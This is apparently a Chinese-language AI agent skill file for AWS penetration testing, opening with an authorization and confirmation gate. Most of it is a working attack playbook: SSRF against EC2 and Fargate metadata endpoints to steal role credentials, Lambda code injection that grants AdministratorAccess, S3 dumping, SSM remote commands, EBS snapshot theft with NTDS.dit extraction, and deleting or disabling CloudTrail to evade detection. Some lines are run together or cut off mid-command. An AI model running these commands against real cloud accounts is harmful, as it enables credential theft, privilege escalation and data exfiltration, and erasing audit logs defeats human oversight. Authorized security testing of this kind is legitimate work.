AWS 渗透测试
> ⚠️ 仅限授权使用
> 本技能仅用于教育目的或经授权的安全评估。
> 在使用此工具前,您必须获得系统所有者的明确书面许可。
> 未经授权滥用此工具属于非法行为,且被严格禁止。
> 强制确认关卡
> 在运行任何涉及探测、利用、修改、持久化、提取数据或尝试访问目标凭据的命令之前:
> 1. 要求用户提供确切的目标 URL、IP、账户或资源。
> 2. 要求用户确认书面授权及允许的范围。
> 3. 展示确切的命令并解释其预期效果。
> 4. 在当前对话中等待明确的确认。
>
> 在获得确认之前,请保持只读状态并仅提供防御性指导。优先建议使用沙箱、一次性虚拟机或受控实验室。
> 仅限授权使用:仅将此技能用于授权的安全评估、防御验证或受控的教育环境。
AWS 渗透测试
目的
提供针对 AWS 云环境渗透测试的全面技术。涵盖 IAM 枚举、权限提升、针对元数据端点的 SSRF、S3 存储桶利用、Lambda 代码提取以及红队行动的持久化技术。
输入/前提条件
- 已配置凭据的 AWS CLI
- 有效的 AWS 凭据(即使是低权限凭据)
- 对 AWS IAM 模型的理解
- Python 3, boto3 库
- 工具:Pacu, Prowler, ScoutSuite, SkyArk
输出/交付物
- IAM 权限提升路径
- 提取的凭据和密钥
- 被攻破的 EC2/Lambda/S3 资源
- 持久化机制
- 安全审计结果
---
核心工具
| 工具 | 用途 | 安装方式 |
|------|---------|--------------|
| Pacu | AWS 利用框架 | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | 影子管理员 (Shadow Admin) 发现 | Import-Module .\SkyArk.ps1 |
| Prowler | 安全审计 | pip install prowler |
| ScoutSuite | 多云审计 | pip install scoutsuite |
| enumerate-iam | 权限枚举 | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM 分析 | pip install principalmapper |
---
核心工作流
第一步:初始枚举
识别被攻破的身份及其权限:
# 检查当前身份
aws sts get-caller-identity
配置配置文件
aws configure --profile compromised
列出访问密钥
aws iam list-access-keys
枚举权限
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...第二步:IAM 枚举
# 列出所有用户
aws iam list-users
列出用户的组
aws iam list-groups-for-user --user-name TARGET_USER
列出附加策略
aws iam list-attached-user-policies --user-name TARGET_USER
列出内联策略
aws iam list-user-policies --user-name TARGET_USER
获取策略详情
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
列出角色
aws iam list-roles
aws iam list-attached-role-policies --rol### 步骤 3:元数据 SSRF (EC2)
利用 SSRF 访问元数据端点 (IMDSv1):
访问元数据端点
http://169.254.169.254/latest/meta-data/
获取 IAM 角色名称
http://169.254.169.254/latest/meta-data/iam/security-credentials/提取临时凭证
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME响应内容包含:
{ "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2019-08-01T05:20:30Z" }针对 IMDSv2 (需要 Token):先获取 Token
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ "http://169.254.169.254/latest/api/token")使用 Token 发起请求
curl -H "X-aws-ec2-metadata-token:$TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/"Fargate 容器凭证:读取环境变量以获取凭证路径
/proc/self/environ查找:AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
访问凭证
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH---
权限提升技术
影子管理员 (Shadow Admin) 权限
以下权限等同于管理员权限:
| 权限 | 利用方式 |
|------------|--------------|
| iam:CreateAccessKey | 为管理员用户创建密钥 |
| iam:CreateLoginProfile | 为任何用户设置密码 |
| iam:AttachUserPolicy | 为自己附加管理员策略 |
| iam:PutUserPolicy | 添加内联管理员策略 |
| iam:AddUserToGroup | 将自己添加到管理员组 |
| iam:PassRole + ec2:RunInstances | 启动带有管理员角色的 EC2 实例 |
| lambda:UpdateFunctionCode | 向 Lambda 函数注入代码 |
为其他用户创建访问密钥
### 附加管理员策略### 添加内联管理员策略### Lambda 权限提升code.py - 注入到 Lambda 函数中
import boto3def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
更新 Lambda 代码
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
---
S3 存储桶利用
存储桶发现
使用 bucket_finder
./bucket_finder.rb wordlist.txt ./bucket_finder.rb --download --region us-east-1 wordlist.txt常见的存储桶 URL 模式
https://{bucket-name}.s3.amazonaws.com https://s3.amazonaws.com/{bucket-name}### 存储桶枚举列出存储桶 (需凭证)
aws s3 ls列出存储桶内容
aws s3 ls s3://bucket-name --recursive下载所有文件
aws s3 sync s3://bucket-name ./local-folder### 公开存储桶搜索---
Lambda 利用
列出 Lambda 函数
aws lambda list-functions获取函数代码
aws lambda get-function --function-name FUNCTION_NAME响应中会提供下载 URL
调用函数
aws lambda invoke --function-name FUNCTION_NAME output.txt---
SSM 命令执行
Systems Manager 允许在 EC2 实例上执行命令
列出受管实例
aws ssm describe-instance-information
执行命令
aws ssm send-command --instance-ids "i-0123456789" \ --document-name "AWS-RunShellScript" \ --parameters commands="whoami"获取命令输出
aws ssm list-command-invocations --command-id "CMD-ID" \ --details --query "CommandInvocations[].CommandPlugins[].Output"---
EC2 漏洞利用
挂载 EBS 卷
为目标卷创建快照
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"从快照创建卷
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a挂载到攻击者实例
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf挂载并访问
sudo mkdir /mnt/stolen sudo mount /dev/xvdf1 /mnt/stolen### 卷影复制攻击 (Windows DC)CloudCopy 技术
1. 为 DC 卷创建快照
2. 将快照共享给攻击者账户
3. 在攻击者实例中挂载
4. 提取 NTDS.dit 和 SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local---
通过 API 密钥访问控制台
将 CLI 凭据转换为控制台访问权限:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
生成用于控制台访问的登录 URL
---
掩盖痕迹
禁用 CloudTrail
删除追踪
aws cloudtrail delete-trail --name trail_name禁用全局事件
aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events禁用特定区域
aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events --no-is-multi-region-trail注意: Kali/Parrot/Pentoo Linux 会因 User-Agent 触发 GuardDuty 警报。建议使用可修改 User-Agent 的 Pacu。
---
快速参考
| 任务 | 命令 |
|------|---------|
| 获取身份 | aws sts get-caller-identity |
| 列出用户 | aws iam list-users |
| 列出角色 | aws iam list-roles |
| 列出存储桶 | aws s3 ls |
| 列出 EC2 | aws ec2 describe-instances |
| 列出 Lambda | aws lambda list-functions |
| 获取元数据 | curl http://169.254.169.254/latest/meta-data/ |
---
约束条件
必须:
- 测试前获得书面授权
- 记录所有操作以备审计
- 仅在范围内的资源中进行测试
禁止:
- 未经批准修改生产数据
- 留下未记录的持久化后门
- 永久禁用安全控制措施
建议:
- 在尝试元数据攻击前检查是否为 IMDSv2
- 在利用前进行彻底的枚举
- 任务结束后清理测试资源
---
示例
示例 1:通过 SSRF 获取管理员权限
1. 在 Web 应用中发现 SSRF 漏洞
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/2. 从响应中获取角色名称
3. 提取凭据
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole4. 使用窃取的凭据配置 AWS CLI
export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=...5. 验证访问权限
aws sts get-caller-identity ```---
故障排除
| 问题 | 解决方案 |
|-------|----------|
| 所有命令均提示 Access Denied | 使用 enumerate-iam 枚举权限 |
| 元数据端点被拦截 | 检查是否为 IMDSv2,尝试容器元数据 |
| GuardDuty 警报 | 使用带有自定义 User-Agent 的 Pacu |
| 凭据过期 | 重新获取 |
元数据(临时凭证轮转) |
| CloudTrail 日志记录操作 | 考虑禁用或进行日志脱敏 |
---
附加资源
如需了解高级技巧(包括 Lambda/API Gateway 利用、Secrets Manager & KMS、容器安全 (ECS/EKS/ECR)、RDS/DynamoDB 利用、VPC 横向移动以及安全检查清单),请参阅 references/advanced-aws-pentesting.md。